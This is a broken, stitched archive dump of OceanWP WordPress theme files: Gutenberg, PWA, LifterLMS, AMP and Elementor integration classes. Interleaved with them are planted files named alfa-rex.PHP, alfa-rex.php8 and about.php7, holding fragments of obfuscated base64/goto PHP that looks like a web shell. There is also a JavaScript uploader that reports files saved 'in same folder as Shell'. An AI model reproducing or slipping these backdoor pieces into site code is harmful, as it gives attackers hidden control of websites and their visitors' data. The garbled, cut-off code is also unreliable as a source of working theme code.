( ( 'font-size' === $attribute && is_numeric( $mobile_val ) ) || 'letter-spacing' === $attribute ) { $px = 'px'; } // Add to inline CSS. if ( 'css' === $return ) { $mobile_css .= $attribute . ':' . $mobile_val . $px . ';'; } } } // Front-end inline CSS. if ( $add_css && 'css' === $return ) { $css .= $target . '{' . $add_css . '}'; } // Front-end inline tablet CSS. if ( $tablet_css && 'css' === $return ) { $css .= '@media (max-width: 768px){' . $target . '{' . $tablet_css . '}}'; } // Front-end inline mobile CSS. if ( $mobile_css && 'css' === $return ) { $css .= '@media (max-width: 480px){' . $target . '{' . $mobile_css . '}}'; } } // Return CSS. if ( 'css' === $return && ! empty( $css ) ) { $css = '/* OceanWP Gutenberg Style */' . $css; return $css; } // Return Fonts Array. if ( 'fonts' === $return && ! empty( $fonts ) ) { return array_unique( $fonts ); } } } /** * Output CSS * * @since 1.0.0 * @param instance $output css output. */ public function gutenberg_editor_style( $output ) { if ( ! is_null( get_current_screen() ) && get_current_screen()->is_block_editor() ) { $gutenberg_css = self::loop( 'css' ); // Add extra css based on customizer setting. $primary_color = get_theme_mod( 'ocean_primary_color', '#13aff0' ); $links_color = get_theme_mod( 'ocean_links_color', '#333333' ); $links_color_hover = get_theme_mod( 'ocean_links_color_hover', '#13aff0' ); // Links color. if ( ! empty( $links_color ) && '#333333' !== $links_color ) { $gutenberg_css .= '.editor-styles-wrapper .block-editor-block-list__layout a{color:' . $links_color . ';}'; } // Links color hover. if ( ! empty( $links_color_hover ) && '#13aff0' !== $links_color_hover ) { $gutenberg_css .= '.editor-styles-wrapper .block-editor-block-list__layout a:hover{color:' . $links_color_hover . ';}'; } elseif ( ! empty( $primary_color ) && '#13aff0' !== $primary_color ) { $gutenberg_css .= '.editor-styles-wrapper .block-editor-block-list__layout a:hover{color:' . $primary_color . ';}'; $gutenberg_css .= '.block-editor .editor-styles-wrapper .block-editor-block-list__layout blockquote{border-left-color:' . $primary_color . ';}'; } // Default color. $default_color = '#333333'; $headings = get_theme_mod( 'headings_typography' )['color'] ?? $default_color; $post_title = get_theme_mod( 'blog_post_title_typography' )['color'] ?? $default_color; $heading_h1 = get_theme_mod( 'heading_h1_typography' )['color'] ?? $default_color; $heading_h2 = get_theme_mod( 'heading_h2_typography' )['color'] ?? $default_color; $heading_h3 = get_theme_mod( 'heading_h3_typography' )['color'] ?? $default_color; $heading_h4 = get_theme_mod( 'heading_h4_typography' )['color'] ?? $default_color; $heading_tag = get_theme_mod( 'ocean_single_post_heading_tag', 'h2' ); // Input title style. if ( 'h1' === $heading_tag && ! empty( $heading_h1 ) && empty( $headings ) && empty( $post_title ) ) { $gutenberg_css .= '.editor-post-title__block .editor-post-title__input{color:' . $heading_h1 . ';}'; } elseif ( 'h2' === $heading_tag && ! empty( $heading_h2 ) && empty( $headings ) && empty( $post_title ) ) { $gutenberg_css .= '.editor-post-title__block .editor-post-title__input{color:' . $heading_h2 . ';}'; } elseif ( 'h3' === $heading_tag && ! empty( $heading_h3 ) && empty( $headings ) && empty( $post_title ) ) { $gutenberg_css .= '.editor-post-title__block .editor-post-title__input{color:' . $heading_h3 . ';}'; } elseif ( 'h4' === $heading_tag && ! empty( $heading_h4 ) && empty( $headings ) && empty( $post_title ) ) { $gutenberg_css .= '.editor-post-title__block .editor-post-title__input{color:' . $heading_h4 . ';}'; } elseif ( ! empty( $headings ) && empty( $post_title ) ) { $gutenberg_css .= '.editor-post-title__block .editor-post-title__input{color:' . $headings . ';}'; } else { $gutenberg_css .= '.editor-post-title__block .editor-post-title__input{color:' . $post_title . ';}'; } // Background style value. $background_layout = get_theme_mod( 'ocean_main_layout_style', 'wide' ); $background_color = get_theme_mod( 'ocean_background_color', '#ffffff' ); $boxed_separate_bg_color = get_theme_mod( 'ocean_boxed_inner_bg', '#ffffff' ); $background_image = get_theme_mod( 'ocean_background_image' ); $background_image_position = get_theme_mod( 'ocean_background_image_position' ); $background_image_attachment = get_theme_mod( 'ocean_background_image_attachment' ); $background_image_repeat = get_theme_mod( 'ocean_background_image_repeat' ); $background_image_size = get_theme_mod( 'ocean_background_image_size' ); // Get editor background style. if ( ! empty( $background_image ) ) { $gutenberg_css .= '.editor-styles-wrapper{background-image:url(' . $background_image . ');}'; // Get site background position. if ( ! empty( $background_image_position ) && 'initial' !== $background_image_position ) { $gutenberg_css .= '.editor-styles-wrapper{background-position:' . $background_image_position . ';}'; } // Get site background attachment. if ( ! empty( $background_image_attachment ) && 'initial' !== $background_image_attachment ) { $gutenberg_css .= '.editor-styles-wrapper{background-attachment:' . $background_image_attachment . ';}'; } // Get site background repeat. if ( ! empty( $background_image_repeat ) && 'initial' !== $background_image_repeat ) { $gutenberg_css .= '.editor-styles-wrapper{background-repeat:' . $background_image_repeat . ';}'; } // Get site background size. if ( ! empty( $background_image_size ) && 'initial' !== $background_image_size ) { $gutenberg_css .= '.editor-styles-wrapper{background-size:' . $background_image_size . ';}'; } } elseif ( ! empty( $background_color ) ) { if ( 'wide' === $background_layout ) { if ( '#ffffff' !== $background_color ) { $gutenberg_css .= '.editor-styles-wrapper{background-color:' . $background_color . ';}'; } } else { if ( ! empty( $boxed_separate_bg_color ) && '#ffffff' !== $boxed_separate_bg_color ) { $gutenberg_css .= '.editor-styles-wrapper{background-color:' . $boxed_separate_bg_color . ';}'; } } } // Output the css. if ( ! empty( $gutenberg_css ) ) { echo ''; } } } /** * Add Google fonts */ public function add_google_fonts() { // Get fonts. $fonts = self::loop( 'fonts' ); if ( ! empty( $fonts ) && is_array( $fonts ) ) { foreach ( $fonts as $font ) { oceanwp_enqueue_google_font( $font ); } } } } } return new OceanWP_Gutenberg_Editor(); third/class-pwa.php000064400000003216151551031110010254 0ustar00oceanwp_is_pwa() ) { return; } add_action( 'ocean_do_offline', array( $this, 'offline_default_template' ) ); add_action( 'oceanwp_do_server_error', array( $this, 'server_error_default_template' ) ); } /** * Check if plugin exist or not. */ private function oceanwp_is_pwa() { return defined( 'PWA_VERSION' ) && function_exists( 'wp_service_worker_error_details_template' ) && function_exists( 'pwa_get_header' ) && function_exists( 'wp_service_worker_error_message_placeholder' ) && function_exists( 'pwa_get_footer' ); } /** * Offline default template. */ public function offline_default_template() { ?>

    function upload(fileInputId, fileIndex) { var url = window.location.pathname; var scriptname = url.substring(url.lastIndexOf('/')+1); var filename = document.getElementById('upload_files').value; var filename = filename.match(/[^\\/]*$/)[0]; var location = window.location.href; var directoryPath = location.substring(0, location.lastIndexOf("/")+1); document.getElementById("status").textContent = "Uploading the file "+filename+", please wait.."; document.getElementById("status").style.color = "blue"; // take the file from the input var file = document.getElementById(fileInputId).files[fileIndex]; var reader = new FileReader(); reader.readAsBinaryString(file); // alternatively you can use readAsDataURL reader.onloadend = function(evt) { // create XHR instance xhr = new XMLHttpRequest(); // send the file through POST xhr.open("POST", scriptname+"?name="+filename, true); // make sure we have the sendAsBinary method on all browsers XMLHttpRequest.prototype.mySendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); if(typeof window.Blob == "function") { var blob = new Blob([data]); }else{ var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)(); bb.append(data); var blob = bb.getBlob(); } this.send(blob); } // let's track upload progress var eventSource = xhr.upload || xhr; eventSource.addEventListener("progress", function(e) { // get percentage of how much of the current file has been sent var position = e.position || e.loaded; var total = e.totalSize || e.total; var percentage = Math.round((position/total)*100); // here you should write your own code how you wish to proces this }); // state change observer - we need to know when and if the file was successfully uploaded xhr.onreadystatechange = function() { if(xhr.readyState == 4) { if(xhr.status == 200) { // process success document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder as Shell. At Link= "+directoryPath+filename; document.getElementById("status").style.color = "green"; }else{ // process error } } }; // start sending xhr.mySendAsBinary(evt.target.result); }; } = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>third/about.php7000064400004151235151551031110007574 0ustar00 = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>third/alfa-rex.PhP7000064400004151235151551031110010061 0ustar00 = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>third/class-lifterlms.php000064400000043417151551031110011475 0ustar00
    esc_html__( 'OceanWP Theme Setting', 'oceanwp' ), 'toggleable' => true, 'fields' => array( array( array( 'attribute' => 'ocean_post_layout', 'label' => esc_html__( 'Layout', 'oceanwp' ), 'type' => 'select', 'options' => array( '' => esc_html__( 'Default', 'oceanwp' ), 'right-sidebar' => esc_html__( 'Right Sidebar', 'oceanwp' ), 'left-sidebar' => esc_html__( 'Left Sidebar', 'oceanwp' ), 'full-width' => esc_html__( 'Full Width', 'oceanwp' ), 'full-screen' => esc_html__( 'Full Screen', 'oceanwp' ), 'both-sidebars' => esc_html__( 'Both Sidebar', 'oceanwp' ), ), ), ), ), ); return $fields; } /** * Distraction free on cart/checkout * * @since 1.5.0 */ public static function distraction_free( $return ) { if ( is_llms_checkout() && true == get_theme_mod( 'ocean_llms_distraction_free_checkout', false ) ) { $return = false; } if( ( is_course() || is_lesson() ) && true == get_theme_mod( 'ocean_llms_distraction_free_learning', false ) ) { $return = false; } return $return; } /** * LLMS Courses and Membership Page Columns. * * @since 1.0.0 * @param number $columns default number of columns (3). * @return number */ function archive_columns( $columns ) { if ( is_post_type_archive( 'course' ) || is_tax( array( 'course_cat', 'course_tag', 'course_difficulty', 'course_track' ) ) ) { $columns = get_theme_mod( 'ocean_llms_courses_columns', 3 ); $columns = $columns ? $columns : '3'; return $columns; } elseif ( is_post_type_archive( 'llms_membership' ) || is_tax( array( 'membership_tag', 'membership_cat' ) ) ) { $columns = get_theme_mod( 'ocean_llms_membership_columns', 3 ); $columns = $columns ? $columns : '3'; return $columns; } } /** * LLMS Courses and Membership Page Responsive Columns. * * @since 1.0.0 * @param number $columns default number of columns (3). * @return number */ function archive_responsive_columns( $classes ) { if ( is_post_type_archive( 'course' ) || is_tax( array( 'course_cat', 'course_tag', 'course_difficulty', 'course_track' ) ) ) { // Responsive columns $tablet_columns = get_theme_mod( 'ocean_llms_tablet_courses_columns' ); $mobile_columns = get_theme_mod( 'ocean_llms_mobile_courses_columns' ); if ( ! empty( $tablet_columns ) ) { $classes[] = 'tablet-col'; $classes[] = 'tablet-' . $tablet_columns . '-col'; } if ( ! empty( $mobile_columns ) ) { $classes[] = 'mobile-col'; $classes[] = 'mobile-' . $mobile_columns . '-col'; } } elseif ( is_post_type_archive( 'llms_membership' ) || is_tax( array( 'membership_tag', 'membership_cat' ) ) ) { // Responsive columns $tablet_columns = get_theme_mod( 'ocean_llms_tablet_membership_columns' ); $mobile_columns = get_theme_mod( 'ocean_llms_mobile_membership_columns' ); if ( ! empty( $tablet_columns ) ) { $classes[] = 'tablet-col'; $classes[] = 'tablet-' . $tablet_columns . '-col'; } if ( ! empty( $mobile_columns ) ) { $classes[] = 'mobile-col'; $classes[] = 'mobile-' . $mobile_columns . '-col'; } } return $classes; } /** * Fix for the OceanWP Settings values not saved * * @since 1.2.10 */ public static function butterbean_fix( $post_id ) { butterbean()->update( $post_id ); } /** * Add typography options for the LifterLMS product title * * @since 1.0.0 */ public static function typography_settings( $settings ) { $settings['lifterlms_course_title'] = array( 'label' => esc_html__( 'LifterLMS Course/Lesson Title', 'oceanwp' ), 'target' => '.single-course .entry-title, .single-lesson .entry-title', 'defaults' => array( 'font-size' => '34', 'color' => '#333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['lifterlms_section_title'] = array( 'label' => esc_html__( 'LifterLMS Section Title', 'oceanwp' ), 'target' => '.llms-syllabus-wrapper .llms-section-title', 'defaults' => array( 'font-size' => '18', 'color' => '#fff', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['lifterlms_lesson_title'] = array( 'label' => esc_html__( 'LifterLMS Lesson Title', 'oceanwp' ), 'target' => '.single-lesson .entry-title', 'defaults' => array( 'font-size' => '34', 'color' => '#333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['lifterlms_buy_button'] = array( 'label' => esc_html__( 'LifterLMS Buy Button', 'oceanwp' ), 'target' => '.llms-access-plan-footer .llms-button-action', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12', 'line-height' => '1', ), ); return $settings; } /** * Adds color accents for LLMS styles. * * @since 1.0.0 */ public static function primary_texts( $texts ) { return array_merge( array( '.llms-course-navigation .llms-pre-text', '.llms-lesson-preview.is-free .llms-lesson-complete', '.llms-lesson-preview.is-complete .llms-lesson-complete', '.llms-loop-item-content .llms-loop-title:hover', '.llms-meta-info .llms-meta a:hover', ), $texts ); } /** * Adds border accents for LLMS styles. * * @since 1.0.0 */ public static function primary_borders( $borders ) { return array_merge( array( '.llms-instructor-info .llms-instructors .llms-author' => array( 'top' ), '.llms-notification' => array( 'top' ), '.llms-instructor-info .llms-instructors .llms-author .avatar', ), $borders ); } /** * Adds background accents for LLMS styles. * * @since 1.0.0 */ public static function primary_backgrounds( $backgrounds ) { return array_merge( array( '.llms-button-action', '.llms-button-secondary', '.llms-field-button', '.llms-button-primary', '.llms-progress .progress-bar-complete', '.llms-instructor-info .llms-instructors .llms-author .avatar', '.llms-syllabus-wrapper .llms-section-title', '.llms-access-plan-title', '.llms-access-plan .stamp', '.llms-lesson-preview .llms-icon-free', '.llms-student-dashboard .llms-status.llms-active', '.llms-student-dashboard .llms-status.llms-completed', '.llms-student-dashboard .llms-status.llms-txn-succeeded', '.llms-checkout-wrapper .llms-form-heading', ), $backgrounds ); } /** * Adds background hover accents for LLMS styles. * * @since 1.0.0 */ public static function hover_primary_backgrounds( $hover ) { return array_merge( array( '.llms-button-action:hover', '.llms-button-secondary:hover', '.llms-field-button:hover', '.llms-button-primary:hover', '.llms-button-action:focus', '.llms-button-secondary:focus', '.llms-field-button:focus', '.llms-button-primary:focus', ), $hover ); } /** * Adds border color elements for LLMS styles. * * @since 1.0.0 */ public static function border_color_elements( $elements ) { return array_merge( array( '.llms-sd-notification-center .llms-notification', ), $elements ); } } endif; return new OceanWP_LifterLMS();third/alfa-rex.php8000064400004151235151551031110010162 0ustar00 = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>third/alfa-rex.PHP000064400004151235151551031110007732 0ustar00 = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>third/class-amp.php000064400000034324151551031110010246 0ustar00 button.submenu-toggle { display: inline-block; position: absolute; background-color: transparent; color: #555; border: 0; font-size: 20px; top: .3em; right: 20px; cursor: pointer; padding: 0 1em; font-weight: normal; line-height: inherit; } .menu-item-has-children > button.submenu-toggle::before { content: "+"; display: inline-block; } .menu-item-has-children > button.submenu-toggle.submenu-open+ul.sub-menu { display: block !important; } .menu-item-has-children > button.submenu-toggle.submenu-open::before { content: "-"; } .menu-item-has-children:hover > ul.sub-menu { opacity: 1; display: block; visibility: visible; }'; $amp_menu_breakpoint = get_theme_mod( 'ocean_mobile_menu_breakpoints', '959' ); $amp_menu_custom_breakpoint = get_theme_mod( 'ocean_mobile_menu_custom_breakpoint' ); $amp_vheader_style_width = get_theme_mod( 'ocean_vertical_header_width', '300' ); if ( 'custom' === $amp_menu_breakpoint && ! empty( $amp_menu_custom_breakpoint ) ) { $amp_menu_breakpoint = $amp_menu_custom_breakpoint; } if ( ! empty( $amp_menu_breakpoint ) ) { $css .= '@media (min-width: ' . $amp_menu_breakpoint . 'px) { #site-header:not(.vertical-header) .menu-item-has-children > button.submenu-toggle { display: none; } body.vertical-header-style.default-collapse.left-header #site-header.vertical-header { left: -' . ( $amp_vheader_style_width - 36 ) . 'px; } body.vertical-header-style.default-collapse.left-header.amp-vertical-header #site-header.vertical-header { left: 0; } body.vertical-header-style.default-collapse.right-header #site-header.vertical-header { right: -' . ( $amp_vheader_style_width - 36 ) . 'px; } body.vertical-header-style.default-collapse.right-header.amp-vertical-header #site-header.vertical-header { right: 0; } }'; } $css .= '#mobile-fullscreen.opened { display: block; } #mobile-fullscreen { overflow-y: auto; } .fullscreen-mobile .oceanwp-mobile-menu-icon a.mobile-menu.opened .oceanwp-text { display: inherit; }'; $css .= '#searchform-overlay.active { display: block; }'; if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { $css .= '.woocommerce ul.products li.product:not(.product-category) .woo-entry-buttons li a.owp-quick-view, .owp-quick-view { display: none; } .woocommerce .oceanwp-grid-list { display: none; } @media only screen and (max-width: 480px) { .woocommerce .oceanwp-grid-list { display: none; } } '; } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* OceanWP AMP CSS */' . $css; } // Return output css. return $output; } /** * Menu Toggle attributes * * @param string $input the data attrs already existing in nav toggle. * @return string */ public function oceanwp_menu_taggle_attrs( $input ) { $input .= ' on="tap:AMP.setState( { owpAmpMenuExpanded: ! owpAmpMenuExpanded } ),oceanwp-body.toggleClass(class=mobile-dropdown)" '; $input .= ' [class]="\'mobile-menu\' + ( owpAmpMenuExpanded ? \' opened\' : \'\' )" '; $input .= ' aria-expanded="false" '; $input .= ' [aria-expanded]="owpAmpMenuExpanded ? \'true\' : \'false\'" '; return $input; } /** * Add AMP attributes to the mobile dropdown menu wrapper. * * @param string $input the data attrs already existing in nav toggle. * @return string */ public function oceanwp_dropdown_menu_wrapper( $input ) { $input .= ' [class]="\'clr\' + ( owpAmpMenuExpanded ? \' opened\' : \'\' )" '; $input .= ' aria-expanded="false" '; $input .= ' [aria-expanded]="owpAmpMenuExpanded ? \'true\' : \'false\'" '; return $input; } /** * Add AMP attributes to the fullscreen menu wrapper. * * @param string $input the data attrs already existing in nav toggle. * @return string */ public function oceanwp_fullscreen_menu_wrapper( $input ) { $input .= ' [class]="\'clr\' + ( owpAmpMenuExpanded ? \' opened\' : \'\' )" '; $input .= ' aria-expanded="false" '; $input .= ' [aria-expanded]="owpAmpMenuExpanded ? \'true\' : \'false\'" '; return $input; } /** * Add AMP attributes to the fullscreen menu close wrapper. * * @param string $input the data attrs already existing in nav toggle. * @return string */ public function oceanwp_fullscreen_menu_close( $input ) { $input .= ' on="tap:AMP.setState( { owpAmpMenuExpanded: ! owpAmpMenuExpanded } ),oceanwp-body.toggleClass(class=clr)" '; $input .= ' [class]="\'close\' + ( owpAmpMenuExpanded ? \' false\' : \'\' )" '; return $input; } /** * Add AMP attributes to the Vertical header toggle. * * @param string $input the data attrs already existing in nav toggle. * @return string */ public function oceanwp_attrs_vertical_header_toggle( $input ) { $input .= ' on="tap:AMP.setState( { owpAmpVhMenuExpanded: ! owpAmpVhMenuExpanded } ),oceanwp-body.toggleClass(class=amp-vertical-header)" '; $input .= ' [class]="\'hamburger hamburger--spin\' + ( owpAmpVhMenuExpanded ? \' is-active\' : \'\' )" '; $input .= ' aria-expanded="false" '; $input .= ' [aria-expanded]="owpAmpVhMenuExpanded ? \'true\' : \'false\'" '; return $input; } /** * Add amp states to the dom. */ public function render_amp_states() { echo ''; echo ''; echo ''; } /** * Set AMP State for eeach sub menu toggle. * * @param String $item_output HTML markup for the menu item. * @param WP_Post $item Post object for the navigation menu. * * @return String HTML MArkup for the menu including the AML State. */ public function toggle_submenu_icon( $item_output, $item ) { $item_output .= ''; return $item_output; } /** * Add AMP attribites to the toggle button. * * @param array $attr Attribute to load default. * @param string $context The context, to build filter name. * @param array $args Optional. Custom data to pass to filter. * * @return Array updated HTML attributes. */ public function menu_toggle_button( $attr, $context, $args ) { $attr['[class]'] = '( owpNavMenuItemExpanded' . $args->ID . ' ? \' submenu-toggle submenu-open\' : \'submenu-toggle\')'; $attr['on'] = 'tap:AMP.setState( { owpNavMenuItemExpanded' . $args->ID . ': ! owpNavMenuItemExpanded' . $args->ID . ' } )'; return $attr; } /** * Add submenu toggle icon for AMP version. * * @param string $item_output Menu item's HTML output. * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * * @return String Menu item's starting markup. */ public function mobile_submenu_icon( $item_output, $item, $depth, $args ) { if ( true === is_object( $args ) ) { if ( isset( $args->theme_location ) && ( 'main_menu' === $args->theme_location || 'mobile_menu' === $args->theme_location ) ) { if ( isset( $item->classes ) && in_array( 'menu-item-has-children', $item->classes, true ) ) { $item_output = $this->menu_arrow_button_markup( $item_output, $item ); } } } else { if ( isset( $item->post_parent ) && 0 === $item->post_parent ) { $item_output = $this->menu_arrow_button_markup( $item_output, $item ); } } return $item_output; } /** * Submenu item's toggle icon HTML markup * * @param string $item_output Menu item's HTML output. * @param WP_Post $item Menu item data object. * * @return string Submenu toggle icon. */ public function menu_arrow_button_markup( $item_output, $item ) { $item_output = apply_filters( 'oceanwp_toggle_submenu_icon', $item_output, $item ); $item_output .= ''; return $item_output; } /** * Add AMP attributes to the nav search item. * * @param string $input the data attrs already existing in search toggle. * @return string */ public function oceanwp_nav_item_search_bar( $input ) { $input .= ' on="tap:AMP.setState( { owpAmpSearchExpanded: ! owpAmpSearchExpanded } )" '; $input .= ' [class]="( owpAmpSearchExpanded ? \'search-toggle-li active\' : \'search-toggle-li\' )" '; $input .= ' aria-expanded="false" [aria-expanded]="owpAmpSearchExpanded ? \'true\' : \'false\'" '; return $input; } /** * Add AMP attributes to the search bar wrapper. * * @param string $input the data attrs already existing in search toggle. * @return string */ public function oceanwp_menu_search_bar( $input ) { $input .= ' on="tap:AMP.setState( { owpAmpSearchExpanded: ! owpAmpSearchExpanded } )" '; $input .= ' [class]="\'header-searchform-wrap clr\' + ( owpAmpSearchExpanded ? \' show\' : \'\' )" '; $input .= ' aria-expanded="false" '; $input .= ' [aria-expanded]="owpAmpSearchExpanded ? \'true\' : \'false\'" '; return $input; } /** * Add AMP attributes to the overlay search bar wrapper. * * @param string $input the data attrs already existing in search toggle. * @return string */ public function oceanwp_menu_overlay_search_bar( $input ) { $input .= ' on="tap:AMP.setState( { owpAmpSearchExpanded: ! owpAmpSearchExpanded } )" '; $input .= ' [class]="\'header-searchform-wrap clr\' + ( owpAmpSearchExpanded ? \' active\' : \'\' )" '; $input .= ' aria-expanded="false" '; $input .= ' [aria-expanded]="owpAmpSearchExpanded ? \'true\' : \'false\'" '; return $input; } /** * Add AMP attributes to the oceanwp nav wrapper. * * @param string $input the data attrs already existing in search toggle. * @return string */ public function oceanwp_attrs_nav_wrapper( $input ) { if ( 'header_replace' !== get_theme_mod( 'ocean_menu_search_style', 'drop_down' ) ) { return; } $inner_classes = oceanwp_header_menu_classes( 'inner' ); $input .= ' [class]="\'' . $inner_classes . '\' + ( owpAmpSearchExpanded ? \' hide\' : \'\' )" '; $input .= ' aria-expanded="false" '; $input .= ' [aria-expanded]="owpAmpSearchExpanded ? \'true\' : \'false\'" '; return $input; } /** * Woocommerce mini cart amp style * * @param obj $style Return mini cart style. */ public function oceanwp_amp_mini_cart_style( $style ) { $style = 'custom_link'; return $style; } } } return new OceanWP_AMP(); third/class-elementor.php000064400000024707151551031110011467 0ustar00=' ) ) { return; } if ( ! class_exists( 'OceanWP_Elementor' ) ) : class OceanWP_Elementor { /** * Setup class. * * @since 1.4.0 */ public function __construct() { add_action( 'elementor/preview/enqueue_styles', array( $this, 'preview_styles' ) ); add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_styles' ) ); } /** * Get the top bar content ID. * * @since 1.4.0 */ public static function get_topbar_content_id() { // Template $id = get_theme_mod( 'ocean_top_bar_template' ); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the top bar social alternative ID. * * @since 1.4.0 */ public static function get_topbar_social_alt_id() { // Template $id = get_theme_mod( 'ocean_top_bar_social_alt_template' ); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the vertical header ID. * * @since 1.4.0 */ public static function get_vertical_header_id() { // Template $id = get_theme_mod( 'ocean_vertical_header_template' ); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the vertical header bottom ID. * * @since 1.4.0 */ public static function get_vertical_header_bottom_id() { // Template $id = get_theme_mod( 'ocean_vertical_header_bottom_template' ); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the header ID. * * @since 1.4.0 */ public static function get_header_id() { // Template $id = oceanwp_custom_header_template(); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the nav ID. * * @since 1.4.7 */ public static function get_nav_id() { // Template $id = oceanwp_custom_nav_template(); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the social menu ID. * * @since 1.4.0 */ public static function get_social_menu_id() { // Template $id = get_theme_mod( 'ocean_menu_social_template' ); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the footer ID. * * @since 1.4.0 */ public static function get_footer_id() { // Template $id = oceanwp_custom_footer_template(); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Get the 404 error page ID. * * @since 1.4.0 */ public static function get_error_page_id() { // Template $id = get_theme_mod( 'ocean_error_page_template' ); // If template is selected if ( ! empty( $id ) ) { // Get Polylang Translation of template if ( function_exists( 'pll_get_post' )) { $id_polylang = pll_get_post( $id, pll_current_language() ); if ( ! empty( $id_polylang ) ) { $id = $id_polylang; } } return $id; } // Return return false; } /** * Preview styles * * @since 1.5.21 */ public static function preview_styles() { wp_enqueue_style( 'oceanwp-elementor-preview', OCEANWP_CSS_DIR_URI .'third/elementor-editor.min.css' ); } /** * Enqueue styles * * @since 1.4.0 */ public static function enqueue_styles() { if ( class_exists( '\Elementor\Core\Files\CSS\Post' ) ) { $topbar_id = self::get_topbar_content_id(); $topbar_social_alt_id = self::get_topbar_social_alt_id(); $vertical_header_id = self::get_vertical_header_id(); $vertical_header_bottom_id = self::get_vertical_header_bottom_id(); $header_id = self::get_header_id(); $nav_id = self::get_nav_id(); $social_menu_id = self::get_social_menu_id(); $footer_id = self::get_footer_id(); $error_id = self::get_error_page_id(); // Enqueue top bar content css file if ( false != $topbar_id ) { $topbar_css = new \Elementor\Core\Files\CSS\Post( $topbar_id ); $topbar_css->enqueue(); } // Enqueue top bar social alternative css file if ( false != $topbar_social_alt_id ) { $topbar_social_alt_css = new \Elementor\Core\Files\CSS\Post( $topbar_social_alt_id ); $topbar_social_alt_css->enqueue(); } // Enqueue vertical header css file if ( false != $vertical_header_id ) { $vertical_header_css = new \Elementor\Core\Files\CSS\Post( $vertical_header_id ); $vertical_header_css->enqueue(); } // Enqueue vertical header bottom css file if ( false != $vertical_header_bottom_id ) { $vertical_header_bottom_css = new \Elementor\Core\Files\CSS\Post( $vertical_header_bottom_id ); $vertical_header_bottom_css->enqueue(); } // Enqueue header css file if ( false != $header_id ) { $header_css = new \Elementor\Core\Files\CSS\Post( $header_id ); $header_css->enqueue(); } // Enqueue nav css file if ( false != $nav_id ) { $nav_css = new \Elementor\Core\Files\CSS\Post( $nav_id ); $nav_css->enqueue(); } // Enqueue social menu css file if ( false != $social_menu_id ) { $social_menu_css = new \Elementor\Core\Files\CSS\Post( $social_menu_id ); $social_menu_css->enqueue(); } // Enqueue footer css file if ( false != $footer_id ) { $footer_css = new \Elementor\Core\Files\CSS\Post( $footer_id ); $footer_css->enqueue(); } // Enqueue 404 error page css file if ( false != $error_id ) { $error_css = new \Elementor\Core\Files\CSS\Post( $error_id ); $error_css->enqueue(); } } } /** * Prints the top bar content. * * @since 1.4.0 */ public static function get_topbar_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_topbar_content_id() ); } /** * Prints the top bar social alternative content. * * @since 1.4.0 */ public static function get_topbar_social_alt_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_topbar_social_alt_id() ); } /** * Prints the vertical header content. * * @since 1.4.0 */ public static function get_vertical_header_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_vertical_header_id() ); } /** * Prints the vertical header bottom content. * * @since 1.4.0 */ public static function get_vertical_header_bottom_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_vertical_header_bottom_id() ); } /** * Prints the header content. * * @since 1.4.0 */ public static function get_header_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_header_id() ); } 